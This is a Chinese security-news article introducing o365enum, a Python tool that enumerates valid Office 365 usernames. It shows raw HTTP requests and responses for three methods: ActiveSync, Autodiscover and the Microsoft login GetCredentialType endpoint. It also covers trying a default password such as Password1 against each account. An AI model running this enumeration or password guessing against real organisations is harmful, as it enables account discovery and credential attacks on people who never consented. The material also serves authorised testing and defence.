freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

o365enum:一款功能强大的Office 365用户枚举工具
2020-10-15 17:27:59

o365enum

o365enum的全称为Office 365 User Enumeration,它是一款功能强大的Office 365用户枚举工具,该工具基于Python语言开发,并且能够使用ActiveSync、Autodiscover或office.com登录页面所返回的信息来枚举有效的Office 365用户名。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/gremwell/o365enum.git

工具使用

o365enum可以从第一个参数所提供的文件中读取用户名信息,这个文件中每一个用户名占一行。为了方便解析,输出数据的文件格式为CSV,有效状态有0(无效用户)、1(有效用户)和2(有效用户和有效密码)。

python3.6 o365enum.py -h

usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]

                   [-m {activesync,autodiscover,office.com}]

 

Office365 User Enumeration Script

 

optional arguments:

  -h, --help            显示帮助信息和退出

  -u USERLIST, --userlist USERLIST

                        用户名列表,每个用户名占一行(默认: None)

  -p PASSWORD, --password PASSWORD

                        密码尝试(默认: Password1)

  -n NUM, --num NUM     重试次数,降低假阳性(默认: 3)

  -v, --verbose         启用Verbose输出(默认: False)

  -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}

                        需要使用的枚举方法(默认: activesync)

工具运行样例

./o365enum.py -u users.txt -p Password2 -n 1 -m activesync

username,valid

nonexistent@contoso.com,0

existing@contoso.com,1

枚举方法-ActiveSync枚举

这个方法给予grimhacker的方法实现,ta所实现的方法可以向ActiveSync节点发送基础HTTP认证请求,但是通过检测状态码的方式并不适用于Office365,因为无论目标用户是否存在,Office365都会返回401。

虽然o365enum会发送相同的请求,但它会检测一个自定义的HTTP响应Header(X-MailboxGuid)是否存在以确定用户名是否有效。

现有账号

下面请求的中Authorization Header中包含了Base64编码的凭证数据:valid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1

Host: outlook.office365.com

Connection: close

MS-ASProtocolVersion: 14.0

Content-Length: 0

Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

该请求将触发下列带有X-MailboxGuid Header的响应("401 Unauthorized"),这表明目标用户名有效,但密码无效:

Date: Fri, 31 Jan 2020 13:02:46 GMT

Connection: close

HTTP/1.1 401 Unauthorized

Content-Length: 1293

Content-Type: text/html

Server: Microsoft-IIS/10.0

request-id: d494a4bc-3867-436a-93ef-737f9e0522eb

X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com

X-BackEndHttpStatus: 401

X-RUM-Validated: 1

X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- This header leaks the account status (existing)

X-DiagInfo: AM0PR09MB2882

X-BEServer: AM0PR09MB2882

X-Proxy-RoutingCorrectness: 1

X-Proxy-BackendServerStatus: 401

X-Powered-By: ASP.NET

X-FEServer: AM0PR06CA0096

WWW-Authenticate: Basic Realm="",Negotiate

Date: Fri, 31 Jan 2020 13:02:46 GMT

Connection: close

 

--snip--

不存在的账户

下面请求的中Authorization Header中包含了Base64编码的凭证数据:invalid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1

Host: outlook.office365.com

Connection: close

MS-ASProtocolVersion: 14.0

Content-Length: 2

Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

该请求将触发下列响应("401 Unauthorized"),这表明目标用户名无效:

HTTP/1.1 401 Unauthorized

Content-Length: 1293

Content-Type: text/html

Server: Microsoft-IIS/10.0

request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d

X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com

X-BackEndHttpStatus: 401

WWW-Authenticate: Basic Realm="",Negotiate

X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM

X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com

X-BackEndHttpStatus: 401

X-RUM-Validated: 1

X-DiagInfo: DB7PR04MB5452

X-BEServer: DB7PR04MB5452

X-Proxy-RoutingCorrectness: 1

X-Proxy-BackendServerStatus: 401

X-FEServer: DB3PR0102CA0017

X-Powered-By: ASP.NET

X-FEServer: AM0PR04CA0024

Date: Fri, 31 Jan 2020 16:19:11 GMT

Connection: close

 

--snip--

枚举方法-Autodiscover枚举

Autodiscover 节点允许我们在不需要进行认证尝试的情况下实现用户枚举,如果目标用户存在,该节点将返回200状态码,如果用户不存在,则返回302状态码。

现有账号

GET /autodiscover/autodiscover.json/v1.0/existing@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1

Host: outlook.office365.com

User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

MS-ASProtocolVersion: 14.0
HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 97

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Server: Microsoft-IIS/10.0

request-id: fee7f899-7115-43da-9d34-d3ee19920a89

X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com

X-BackEndHttpStatus: 200

X-RUM-Validated: 1

X-AspNet-Version: 4.0.30319

X-DiagInfo: AM0PR09MB2882

X-BEServer: AM0PR09MB2882

X-Proxy-RoutingCorrectness: 1

X-Proxy-BackendServerStatus: 200

X-Powered-By: ASP.NET

X-FEServer: AM0PR0202CA0008

Date: Mon, 02 Mar 2020 12:50:48 GMT

Connection: close

 

{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}

不存在的用户

GET /autodiscover/autodiscover.json/v1.0/nonexistent@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1

Host: outlook.office365.com

User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

MS-ASProtocolVersion: 14.0
HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 277

Content-Type: text/html; charset=utf-8

Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1

Server: Microsoft-IIS/10.0

request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45

X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com

X-BackEndHttpStatus: 302

X-RUM-Validated: 1

X-AspNet-Version: 4.0.30319

X-DiagInfo: DB6PR0202MB2568

X-BEServer: DB6PR0202MB2568

X-Proxy-RoutingCorrectness: 1

X-Proxy-BackendServerStatus: 302

X-Powered-By: ASP.NET

X-FEServer: AM0PR0202CA0013

Date: Mon, 02 Mar 2020 12:50:50 GMT

Connection: close

 

<html><head><title>Object moved</title></head><body>

<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1">here</a>.</h2>

</body></html>

枚举方法-Office.com枚举

这种方法仅适用于身份为Exchange Online订阅用户并且没有部署/混合部署Exchange服务器的组织。

对于某些在内部部署或混合部署Exchange服务器的组织来说,服务器所返回的值可能并不能准确标明目标用户是否存在。

当你不想使用“Password1”进行认证尝试的时候,这种方法就很管用了。

现存用户

当目标账户存在,IfExistsResult则会被设置为1:

POST /common/GetCredentialType?mkt=en-US HTTP/1.1

Host: login.microsoftonline.com

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Accept: application/json

Connection: close

client-request-id: 4345a7b9-9a63-4910-a426-35363201d503

hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100

Referer: https://login.microsoftonline.com/common/oauth2/authorize

canary: --snip--

hpgact: 1800

hpgid: 1104

Origin: https://login.microsoftonline.com

Cookie: --snip--

Content-Length: 1255

Content-Type: application/json

 

{

    "checkPhones": false,

    "isOtherIdpSupported": true,

    "isRemoteNGCSupported": true,

    "federationFlags": 0,

    "isCookieBannerShown": false,

    "isRemoteConnectSupported": false,

    "isSignup": false,

    "originalRequest": "rQIIA--snip--YWSO2",

    "isAccessPassSupported": true,

    "isFidoSupported": false,

    "isExternalFederationDisallowed": false,

    "username": "nonexistent@contoso.com",

    "forceotclogin": false

}
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: application/json; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains

X-Content-Type-Options: nosniff

client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7

x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00

x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices

Referrer-Policy: strict-origin-when-cross-origin

P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"

Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly

Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None

Date: Thu, 06 Feb 2020 12:57:43 GMT

Connection: close

Content-Length: 579

 

 

{

    "ThrottleStatus": 0,

    "apiCanary": "--snip--",

    "Username": "nonexistent@contoso.com",

    "IfExistsResult": 1,

    "EstsProperties": {

        "UserTenantBranding": null,

        "DomainType": 3

    },

    "Credentials": {

        "PrefCredential": 1,

        "FidoParams": null,

        "RemoteNgcParams": null,

        "SasParams": null,

        "HasPassword": true

    },

    "IsSignupDisallowed": true,

    "Display": "nonexistent@contoso.com"

}

不存在的用户

如果目标账户不存在,IfExistsResult将会被设置为0:

POST /common/GetCredentialType?mkt=en-US HTTP/1.1

Host: login.microsoftonline.com

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Accept: application/json

Connection: close

client-request-id: 4345a7b9-9a63-4910-a426-35363201d503

hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100

Referer: https://login.microsoftonline.com/common/oauth2/authorize

canary: --snip--

hpgact: 1800

hpgid: 1104

Origin: https://login.microsoftonline.com

Cookie: --snip--

Content-Length: 1255

Content-Type: application/json

 

{

    "checkPhones": false,

    "isOtherIdpSupported": true,

    "isRemoteNGCSupported": true,

    "federationFlags": 0,

    "isCookieBannerShown": false,

    "isRemoteConnectSupported": false,

    "isSignup": false,

    "originalRequest": "rQIIA--snip--YWSO2",

    "isAccessPassSupported": true,

    "isFidoSupported": false,

    "isExternalFederationDisallowed": false,

    "username": "existing@contoso.com",

    "forceotclogin": false

}
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: application/json; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains

X-Content-Type-Options: nosniff

client-request-id: 177110da-7ce4-4880-b856-be6326078046

x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200

x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices

Referrer-Policy: strict-origin-when-cross-origin

P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"

Set-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly

Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None

Date: Fri, 31 Jan 2020 16:01:26 GMT

Connection: close

Content-Length: 587

 

{

    "Username":"existing@contoso.com",

    "Display":"existing@contoso.com",

    "IfExistsResult":0,

    "ThrottleStatus":0,

    "Credentials":{

        "PrefCredential":1,

        "HasPassword":true,

        "RemoteNgcParams":null,

        "FidoParams":null,

        "SasParams":null

    },

    "EstsProperties":{

        "UserTenantBranding":null,

        "DomainType":3

    },

    "IsSignupDisallowed":true,

    "apiCanary":"--snip--"

}

项目地址

o365enum:【GitHub传送门

# Office 365 # Office漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录